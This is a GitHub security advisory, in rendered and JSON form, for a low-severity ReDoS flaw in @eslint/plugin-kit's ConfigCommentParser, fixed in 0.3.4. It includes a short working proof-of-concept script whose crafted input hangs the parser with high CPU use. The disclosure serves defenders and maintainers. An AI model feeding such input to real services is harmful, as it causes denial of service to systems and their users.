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GHSA-XFFM-G5W8-QVG7

Vulnerability from github – Published: 2025-07-18 20:39 – Updated: 2025-07-28 17:34
VLAI
Summary
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Details

Summary

The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].

PoC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@eslint/plugin-kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-18T20:39:12Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.",
  "id": "GHSA-xffm-g5w8-qvg7",
  "modified": "2025-07-28T17:34:44Z",
  "published": "2025-07-18T20:39:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eslint/rewrite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser"
}



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